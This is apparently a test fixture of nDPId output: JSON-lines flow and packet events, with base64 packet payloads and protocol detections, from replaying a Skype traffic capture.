+00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1431969671427,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.161","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.157","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.151","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1431969676429,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.147","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1431969678448,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.145","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":137,"flow_packet_id":1,"flow_first_seen":1431969673443,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.153","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.165","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":139,"flow_packet_id":1,"flow_first_seen":1431969674456,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.146","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1431969672489,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.144","src_port":13021,"dst_port":40034,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":163,"flow_packet_id":1,"flow_first_seen":1431969679455,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":140,"flow_packet_id":1,"flow_first_seen":1431969674456,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.143","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1431969670418,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":157,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":989,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":121792,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLe\/oAAEARezTAqAEiwKgBAeRaADUAN2o90\/0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00457{"flow_id":158,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":990,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":121982,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLZ0MAAEARj+vAqAEiwKgBAcDQADUANww\/OoYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00437{"flow_id":133,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":991,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":156186,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Uc1AAEAGUVvAqAEinTc4ksOFnF5LaK51T0tw1IAYECnWQQAAAQEICj4jHkRNhXFJby9fpLXtPtU="} +00438{"flow_id":161,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":992,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":245443,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8NYVAAEAGIynAqAEiQTffDMORnF\/vfD9kP0r\/xIAYECmj0AAAAQEICj4jHp1Noe23pd7yTaWfPN4="} +00425{"flow_id":64,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":993,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":260604,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0yHRAADMG56OdNziqwKgBIgG7w3W+IGeqZQKzVYARAB2\/4AAAAQEICk15w7Y+Isxs"} +00426{"flow_id":101,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":994,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":467231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0sU1AAEAGp97AqAEinTeClsN+nEtADbo+Q3FEmYAREChWvAAAAQEICj4jH3pOt5\/K"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":995,"source":"skype.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1431969680467,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.148","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":165,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":467231,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5uekAAEARKTXAqAEinTc4lDLdnEoAJXlNnGQC\/A+kfzeJzZXZQQBxWhYkhXip+EvBFG8rlU4="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":995,"source":"skype.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1431969680467,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.148","src_port":13021,"dst_port":40010,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00425{"flow_id":112,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":996,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":467232,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0zLtAAEAGjHDAqAEinTeClsOAAbtI+ppVuVVQX4ARECyFHwAAAQEICj4jH3pOt6FD"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":997,"source":"skype.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1431969680467,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.158","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":166,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":997,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":467232,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyVhkAAEAR2gHAqAEinTfrnjLdnF8AHti+nGYCSGBvJFR\/HGq\/K9Cny1\/vxLQHiA=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":997,"source":"skype.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1431969680467,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.158","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":135,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":631037,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Fu9AAEAGp\/bAqAEib91KL8OHnF60mgVan9mDBYAYECqMTwAAAQEICj4jIB1NhV8Xx9YMHiFnIWo="} +00466{"flow_id":122,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":999,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969680,"pkt_ts_usec":766244,"pkt_caplen":96,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":96,"pkt_l4_len":62,"pkt":"0NQSxnP1PBXCt3IOCABFAABSh+RAAEAG0RnAqAEinTeCpsODAbsS3ITHvVXOp4AYECxNDgAAAQEICj4jIKROrGuYTUkltcFyUDx1UKDVsGVbE\/Ct+3YM+MpJT8qq59Fj"} +00477{"flow_id":142,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1000,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":41663,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWkJdAAEAGyG\/AqAEinTeCmcOJAbvJCUV1l+7ieIAYECyxoAAAAQEICj4jIbdOtN5CdYilVbtaCwK\/tgRArD4Y28szEXDIjTbyD0VdE11jWOuPGA=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1001,"source":"skype.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1431969681060,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.12","src_port":50066,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":167,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1001,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":60077,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA2fpAAEAGfq\/AqAEiQTffDMOSAbvQogCqAAAAALAC\/\/9eaAAAAgQFtAEDAwUBAQgKPiMhyQAAAAAEAgAA"} +00439{"flow_id":161,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":96746,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8aJVAAEAG8BjAqAEiQTffDMORnF\/vfD9kP0r\/xIAYECmggAAAAQEICj4jIe1Noe23pd7yTaWfPN4="} +00437{"flow_id":167,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1003,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":195252,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYa5BN98MwKgBIgG7w5Js9UEp0KIAq6ASOJBL6AAAAgQFrAQCCApNoe8nPiMhyQEDAwk="} +00425{"flow_id":167,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1004,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":195374,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ayJAAEAG7ZPAqAEiQTffDMOSAbvQogCrbPVBKoAQECyijAAAAQEICj4jIk9Noe8n"} +00524{"flow_id":167,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1005,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":195488,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8uw1AAEAGnWDAqAEiQTffDMOSAbvQogCrbPVBKoAYECycqwAAAQEICj4jIk9Noe8ngEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIB4iSbfBKWSW1CBvpdcHaqT"} +00461{"flow_id":150,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1006,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":230422,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPjIcAAEARaqPAqAEiwKgBAfaEADUAO+FnvnsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAHAAB"} +00461{"flow_id":149,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1007,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":230528,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPW28AAEARm7vAqAEiwKgBAdd3ADUAO4zaTRYBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQAB"} +00425{"flow_id":167,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1008,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":324095,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0rmJAADcGs1NBN98MwKgBIgG7w5Js9UEq0KIA84AQAB2yMQAAAQEICk2h70k+IyJP"} +00495{"flow_id":167,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1009,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":324203,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"0NQSxnP1PBXCt3IOCABFAABn3QRAAEAGe37AqAEiQTffDMOSAbvQogDzbPVBKoAYECwQoQAAAQEICj4jIs9Noe9JdRKYsr25V5AAdpQR0WFwQXZONwsp2+ImLRVUPhbhlzT9d0d7m6HpVNUn8Hw+fr6YtSFt"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1010,"source":"skype.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.160","src_port":50067,"dst_port":40027,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":168,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1010,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":480233,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA\/b9AAEAGpVbAqAEinTc4oMOTnFuhu64eAAAAALAC\/\/+OBAAAAgQFtAEDAwUBAQgKPiMjagAAAAAEAgAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1011,"source":"skype.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.162","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":169,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1011,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":480376,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4YcMAAEARzb3AqAEi1cezojLdnF0AJAuMnGgC2mPP3NT+NgZcfouOKEVgI\/tI0sJfUuMhDA=="} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1011,"source":"skype.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.162","src_port":13021,"dst_port":40029,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1012,"source":"skype.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":170,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1012,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":480376,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1+dEAAEARBS\/AqAEib91KEDLdnGAAIfCsnGoCw1fhnSu+3d\/Tw+s36JFjatVqYPGvPQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1012,"source":"skype.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1013,"source":"skype.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.159","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":171,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1013,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":480429,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyaGwAAEARx63AqAEinTfrnzLdnFUAHmVKnGwCxXHmKlMo0hJpMwmU59yIG9tJmA=="} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1013,"source":"skype.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.159","src_port":13021,"dst_port":40021,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00464{"flow_id":141,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1014,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":580971,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPIXdAAEAGgZ7AqAEinTc4ksOIAbsXgt5RB+ihfoAYECzbvQAAAQEICj4jI85NhXLb+CbW3lZbBv40\/beInvTLb7s0B7Su\/nEv8OsV"} +00437{"flow_id":168,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1015,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":627128,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADMGsBqdNzigwKgBIpxbw5OkoMOPobuuH6ASOJAefQAAAgQFrAQCCApNfpJAPiMjagEDAwk="} +00426{"flow_id":168,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1016,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969681,"pkt_ts_usec":627257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0mLVAAEAGCm3AqAEinTc4oMOTnFuhu64fpKDDkIAQECx1FQAAAQEICj4jI\/xNfpJA"} 